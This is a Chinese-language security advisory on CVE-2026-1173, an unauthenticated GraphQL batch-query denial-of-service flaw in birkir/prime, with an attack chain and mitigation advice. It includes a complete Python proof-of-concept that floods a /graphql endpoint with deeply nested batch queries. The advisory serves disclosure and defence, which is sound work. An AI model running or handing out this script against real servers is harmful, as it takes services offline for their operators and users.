IPBUF安全漏洞报告
English
CVE-2026-1173 CVSS 5.3 中危

CVE-2026-1173: birkir prime GraphQL拒绝服务漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1173
漏洞类型
拒绝服务(DoS)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
birkir/prime

相关标签

拒绝服务GraphQLbirkir/prime批量查询资源耗尽CVE-2026-1173

漏洞概述

CVE-2026-1173是birkir/prime项目中的一个拒绝服务漏洞。该漏洞存在于GraphQL组件的Array Based Query Batch Handler中,攻击者可以通过向/graphql端点发送特制的批量查询请求来触发该漏洞。由于GraphQL批量查询处理程序在处理数组格式的批量请求时存在缺陷,恶意构造的查询可以导致服务器资源被过度消耗,从而造成服务中断。此漏洞影响birkir prime 0.4.0.beta.0及之前版本,CVSS评分5.3,属于中危级别。攻击者无需认证即可远程利用此漏洞,且该漏洞的利用代码已被公开披露,具有较高的实际威胁性。

技术细节

该漏洞位于birkir/prime项目的GraphQL批量查询处理器中。在GraphQL的Array Based Query Batch Handler实现中,当接收到的请求包含大量嵌套数组查询时,处理逻辑未能正确限制查询复杂度。攻击者可以构造如下结构的请求:包含深层嵌套的查询数组,每个查询又包含复杂的关联查询和分页请求。由于处理器在解析和执行这些批量查询时会递归处理所有数组元素,导致CPU和内存资源被快速消耗。当请求数量或查询复杂度超过服务器处理能力时,便会引发拒绝服务。此漏洞的利用需要攻击者能够向/graphql端点发送HTTP POST请求,无需任何认证凭据。漏洞已在GitHub issue #544中被报告,但截至披露日期,项目方尚未做出响应或发布修复版本。

攻击链分析

STEP 1
步骤1
攻击者识别目标服务器运行birkir/prime且暴露/graphql端点
STEP 2
步骤2
构造包含大量嵌套查询的GraphQL批量请求,数组格式为[{"query": "..."}]
STEP 3
步骤3
通过HTTP POST请求向/graphql端点发送恶意批量查询
STEP 4
步骤4
Array Based Query Batch Handler解析并递归处理所有嵌套查询
STEP 5
步骤5
服务器CPU和内存资源被过度消耗,无法响应正常请求
STEP 6
步骤6
服务发生拒绝服务,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-1173 PoC - birkir/prime GraphQL DoS Discovered in birkir/prime <= 0.4.0.beta.0 GraphQL Array Based Query Batch Handler DoS """ import requests import json import time TARGET_URL = "http://target-server/graphql" def create_malicious_batch_query(): """ Create a malicious GraphQL batch query that triggers DoS by exploiting the Array Based Query Batch Handler vulnerability """ # Generate deeply nested queries for resource exhaustion queries = [] for i in range(50): queries.append({ "query": f""" query {{ users {{ id posts {{ id comments {{ id author {{ id posts {{ id comments {{ id }} }} }} }} }} }} }} """, "operationName": f"NestedQuery{i}" }) return queries def exploit_dos(): """Send malicious batch query to trigger DoS""" payload = create_malicious_batch_query() headers = { "Content-Type": "application/json", "Accept": "application/json" } print(f"[*] Sending malicious batch query to {TARGET_URL}") print(f"[*] Payload size: {len(payload)} queries") try: response = requests.post( TARGET_URL, json=payload, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - DoS successful") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-1173 - birkir/prime GraphQL DoS PoC") print("=" * 60) exploit_dos()

影响范围

birkir/prime <= 0.4.0.beta.0

防御指南

临时缓解措施
由于项目方尚未响应并发布修复版本,建议采取以下临时缓解措施:1) 在Web应用防火墙(WAF)层面限制/graphql端点的请求频率和请求大小;2) 配置Web服务器对POST请求到/graphql端点的流量进行限流;3) 暂时禁用GraphQL批量查询功能;4) 使用API网关对GraphQL请求进行深度检测和过滤,阻止包含异常嵌套结构的批量查询。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表